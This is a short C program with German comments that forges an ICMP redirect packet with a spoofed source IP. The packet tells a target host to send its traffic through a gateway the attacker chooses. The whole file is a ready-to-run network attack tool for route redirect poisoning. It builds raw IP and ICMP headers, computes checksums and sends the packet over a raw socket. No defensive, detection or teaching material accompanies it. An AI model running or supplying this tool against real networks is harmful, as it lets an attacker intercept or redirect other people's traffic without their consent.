#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <netinet/ip_icmp.h>

unsigned short in_cksum(unsigned short *addr, int len);

int main(int argc, char** argv) {
    int PakSize = 84;

    //rand() initialisieren
    srand((unsigned) time(NULL));

    if (argc != 4) {
        printf("Parameter: <Quell IP> <Ziel IP> <Neuer Gateway>\n");
        return -1;
    }

    printf("Route Redirect Poisoning\nQuelle:\t%s\nZiel:\t%s\nGateway\t%s\n\n", argv[1], argv[2], argv[3]);

    //raw socket fuer icmp erstellen
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (s <= 0) {
        printf("FEHLER: Konnte Socket nicht erstellen!\n");
        return -1;
    }

    //Datagram erstellen und nullifizieren
    char datagram[PakSize];
    memset(datagram, 0, PakSize);

    //Pointer zum IP Header und ICMP Header holen
    struct ip *iph = (struct ip *) datagram;
    struct icmp *icmph = (struct icmp *) (datagram + sizeof (struct ip));

    // destination sockaddr
    struct sockaddr_in dst;
    bzero(&dst, sizeof (dst));
    dst.sin_family = AF_INET;
    inet_pton(AF_INET, argv[2], &dst.sin_addr);

    //Einzelne IP Header Bestandteile befuellen
    iph->ip_hl = 5; //Headerlaenge (5 * 32)/8 = 20 byte
    iph->ip_v = 4; //IP Version
    iph->ip_tos = 0; //Type of service
    iph->ip_len = PakSize; //Paketgroesse
    iph->ip_id = rand(); //PaketID, grad wurscht
    iph->ip_off = 0; //fragmenting info
    iph->ip_ttl = 25; //TTL
    iph->ip_p = 0x01; //Protokolltyp (0x01 = ICMP)
    iph->ip_sum = 0; //Pruefsumme, wird spaeter berechnet

    //Muss man wohl so reinschreiben
    inet_pton(AF_INET, argv[1], &iph->ip_src.s_addr); //Quell IP
    inet_pton(AF_INET, argv[2], &iph->ip_dst.s_addr); //Ziel IP

    //ICMP Header erstellen
    icmph->icmp_type = ICMP_REDIRECT; //Auch bekannt als Typ 5
    icmph->icmp_code = 3; //1 (Redirect for Host) oder 3 (Redirect for TOS ans Host)
    icmph->icmp_cksum = 0; //Erstmal 0

    // put in some ip-data (actually it should be ipheader + 8 bytes data of the old packet)
    memcpy(&icmph->icmp_data, iph, sizeof (struct ip) + 8);

    //Neue Gateway Adresse schreiben
    inet_pton(AF_INET, argv[3], &icmph->icmp_hun.ih_gwaddr);

    //Pruefsummen berechen und schreiben
    icmph->icmp_cksum = in_cksum((unsigned short *) (datagram + sizeof (struct ip)), (64) >> 1);
    iph->ip_sum = in_cksum((unsigned short *) datagram, iph->ip_len >> 1);

    // set HDRINCL option
    int one = 1;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) == -1) {
        printf("FEHLER: Konnte hdrincl nicht setzen\n");
        return -1;
    }

    //Paket absenden
    if (sendto(s, datagram, PakSize, 0, (struct sockaddr *) & dst, sizeof (dst)) < 0) {
        printf("FEHLER: Konnte Paket nicht absenden\n");
        return -1;
    }

    printf("ERFOLG: Paket gesendet\n");

    close(s); //Socket schliessen
    return (0);
}

unsigned short in_cksum(unsigned short *addr, int len) {
    int nleft = len;
    int sum = 0;
    unsigned short *w = addr;
    unsigned short answer = 0;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* 4mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(unsigned char *) (&answer) = *(unsigned char *) w;
        sum += answer;
    }

    /* 4add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16); /* add carry */
    answer = ~sum; /* truncate to 16 bits */
    return (answer);
}